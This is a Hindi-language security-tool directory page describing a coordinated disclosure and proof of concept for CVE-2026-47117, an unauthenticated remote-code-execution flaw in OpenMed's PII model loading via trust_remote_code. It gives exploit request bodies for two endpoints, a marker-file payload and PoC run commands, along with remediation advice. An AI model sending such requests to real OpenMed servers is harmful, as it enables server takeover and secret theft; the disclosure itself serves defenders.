Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग और trust_remote_code=True के माध्यम से बिना प्रमाणीकरण के RCE | Kitploit
उपकरण/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगAI सुरक्षा
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग और trust_remote_code=True के माध्यम से बिना प्रमाणीकरण के RCE

रिपॉजिटरी देखें
1711 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-47117: OpenMed में PII मॉडल लोडिंग के माध्यम से अनधिकृत रिमोट कोड निष्पादन

गंभीरता: क्रिटिकल, CVSS 4.0 9.3, CVSS 3.1 9.8 (VulnCheck, CNA द्वारा निर्धारित)

वेक्टर (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

वेक्टर (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

प्रभावित: OpenMed < 1.5.2

में ठीक किया गया: 1.5.2

CWE: CWE-94 (कोड जनरेशन का अनुचित नियंत्रण, कोड इंजेक्शन)

खोजा और रिपोर्ट किया गया: Sai Teja Erukude द्वारा

प्रकाशित: 2 जून, 2026


सारांश

OpenMed 1.5.2 से पहले के संस्करणों में PII प्राइवेसी-फ़िल्टर मॉडल लोडिंग पथ में एक अनधिकृत रिमोट कोड निष्पादन भेद्यता मौजूद है।

REST API एंडपॉइंट POST /pii/extract और POST /pii/deidentify अनुरोध बॉडी से model_name मान स्वीकार करते हैं। भेद्य संस्करणों में, प्राइवेसी-फ़िल्टर डिस्पैचर इस हमलावर-नियंत्रित मान पर व्यापक सबस्ट्रिंग मिलान का उपयोग करता था। इसलिए attacker/foo-privacy-filter-bar जैसा मॉडल नाम प्राइवेसी-फ़िल्टर बैकएंड में रूट हो सकता था।

गैर-MLX/Torch परिनियोजनों पर, वह बैकएंड trust_remote_code=True के साथ Transformers के माध्यम से Hugging Face मॉडल आर्टिफ़ैक्ट लोड करता था। यदि हमलावर-नियंत्रित मॉडल रिपॉज़िटरी में config.json या tokenizer_config.json में auto_map के माध्यम से संदर्भित कस्टम Transformers कोड शामिल होता, तो Transformers मॉडल या टोकनाइज़र लोडिंग के दौरान उस Python कोड को आयात और निष्पादित करता था।

आयातित कोड OpenMed सेवा प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होता था।

प्रभाव

एक अनधिकृत रिमोट हमलावर जो OpenMed REST API तक पहुँच सकता है, model_name में एक दुर्भावनापूर्ण Hugging Face-शैली मॉडल पहचानकर्ता प्रदान करके सर्वर पर मनमाना Python कोड निष्पादित कर सकता है।

सेवा परिनियोजन के आधार पर, यह निम्नलिखित की अनुमति दे सकता है:

  • OpenMed प्रक्रिया द्वारा सुलभ फ़ाइलों को पढ़ना या संशोधित करना।
  • पर्यावरण चर और एप्लिकेशन रहस्यों तक पहुँचना।
  • OpenMed होस्ट से सुलभ आंतरिक सेवाओं को कॉल करना।
  • एप्लिकेशन व्यवहार को बाधित या प्रतिस्थापित करना।

प्रभावित एंडपॉइंट

यह समस्या दोनों PII एंडपॉइंट के माध्यम से सुलभ है क्योंकि दोनों model_name स्वीकार करते हैं और समान PII निष्कर्षण/मॉडल लोडिंग पथ का उपयोग करते हैं:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

तकनीकी विवरण

इस असुरक्षित नियंत्रण प्रवाह में दो विश्वास-सीमा विफलताएँ हैं:

  1. API ने प्राइवेसी-फ़िल्टर बैकएंड का चयन करते समय उपयोगकर्ता-प्रदत्त model_name पर भरोसा किया।
  2. चयनित बैकएंड ने trust_remote_code=True के साथ Transformers आर्टिफ़ैक्ट्स लोड करके रिमोट मॉडल रिपॉज़िटरी कोड पर भरोसा किया।

डिस्पैचर ने privacy-filter युक्त किसी भी मॉडल पहचानकर्ता को प्राइवेसी-फ़िल्टर परिवार का हिस्सा माना। इससे हमलावर-नियंत्रित पहचानकर्ताओं, उदाहरण के लिए attacker/foo-privacy-filter-bar, को उस कोड पथ तक पहुँचने की अनुमति मिल गई जो विश्वसनीय प्रथम-पक्ष Privacy Filter मॉडल के लिए अभिप्रेत था।

एक बार वहाँ रूट होने के बाद, Transformers auto_map के माध्यम से हमलावर-नियंत्रित कस्टम कोड लोड कर सकता था। यह आयात मॉडल/टोकनाइज़र लोडिंग के दौरान होता है, इससे पहले कि कोई भी उपयोगी इन्फ़रेंस सफल होनी आवश्यक हो। इसलिए एक प्रूफ़ पेलोड इतना छोटा हो सकता है:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

प्रमाण अवधारणा

poc_exploit.py एक हानिरहित स्थानीय Hugging Face-शैली की मॉडल निर्देशिका बनाता है जिसका नाम privacy-filter शामिल है। उत्पन्न कस्टम Transformers मॉड्यूल आयात होने पर एक मार्कर फ़ाइल लिखते हैं। स्क्रिप्ट फिर उस निर्देशिका को model_name के रूप में उपयोग करके एक परीक्षण OpenMed API इंस्टेंस को अनुरोध भेजती है।

कमजोर OpenMed संस्करणों पर अपेक्षित व्यवहार है:

  1. API हमलावर-नियंत्रित model_name को स्वीकार करता है।
  2. सबस्ट्रिंग रूटिंग इसे privacy-filter बैकएंड पर भेजती है।
  3. Transformers उत्पन्न कस्टम मॉड्यूल को आयात करता है क्योंकि trust_remote_code=True है।
  4. मार्कर फ़ाइल बनाई जाती है, जो OpenMed सेवा प्रक्रिया में कोड निष्पादन साबित करती है।
  5. अनुरोध बाद में विफल हो सकता है क्योंकि खिलौना मॉडल वास्तविक Privacy Filter मॉडल नहीं है; आयात-समय का मार्कर प्रासंगिक प्रमाण है।

केवल स्थानीय परीक्षण इंस्टेंस के विरुद्ध चलाएँ:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

यदि OpenMed सेवा कहीं ऐसी जगह चल रही है जहाँ जनरेट की गई स्थानीय डायरेक्टरी तक पहुँच नहीं है, तो एक समतुल्य परीक्षण मॉडल को नियंत्रित Hugging Face रिपॉज़िटरी में प्रकाशित करें और उस पहचानकर्ता को स्पष्ट रूप से पास करें:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

उपचार

OpenMed 1.5.2 या उससे नए संस्करण में अपग्रेड करें।

OpenMed 1.5.2 रूटिंग को विश्वास से अलग करता है:

  • privacy-filter युक्त मनमाने रिपॉज़िटरी नाम अब विश्वसनीय privacy-filter पथ से रूट नहीं होते।
  • PrivacyFilterTorchPipeline में trust_remote_code का डिफ़ॉल्ट False है।
  • केवल स्पष्ट प्रथम-पक्ष Privacy Filter रिपॉज़िटरी ही विश्वसनीय रिमोट-कोड लोडिंग के लिए allowlist में हैं।
  • जिन ऑपरेटरों को नियंत्रित निजी फाइन-ट्यून की आवश्यकता है, वे उन्हें OPENMED_TRUSTED_REMOTE_CODE_MODELS के माध्यम से allowlist कर सकते हैं।

यदि तत्काल अपग्रेड संभव न हो:

  • कमज़ोर REST API को अविश्वसनीय क्लाइंट्स के सामने उजागर न करें।
  • उपयोगकर्ता-नियंत्रित model_name मानों को trust_remote_code=True के साथ Transformers को न भेजें।
  • सबस्ट्रिंग-आधारित मॉडल रूटिंग को सटीक विश्वसनीय मॉडल पहचानकर्ताओं से बदलें।
  • उत्पादन में स्वीकृत स्थानीय मॉडल आर्टिफ़ैक्ट्स को प्रीलोड करें और मनमाने मॉडल डाउनलोड अक्षम करें।

प्रकटीकरण समयरेखा

तिथिघटना
18 मई, 2026कमज़ोरी VulnCheck को सबमिट की गई
20 मई, 2026VulnCheck ने समन्वित प्रकटीकरण आउटरीच शुरू किया
22 मई, 2026CVE-2026-47117 अस्थायी रूप से आवंटित
1 जून, 2026OpenMed 1.5.2 फ़िक्स की समीक्षा और पुष्टि की गई
2 जून, 2026CVE-2026-47117 प्रकाशित

श्रेय

Sai Teja Erukude द्वारा खोजा और रिपोर्ट किया गया।

प्रकटीकरण VulnCheck के माध्यम से समन्वित किया गया।

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • VulnCheck सलाह: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • OpenMed 1.5.2 रिलीज़ नोट्स: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • OpenMed प्रोजेक्ट: https://github.com/maziyarpanahi/openmed
टूल डाउनलोड करें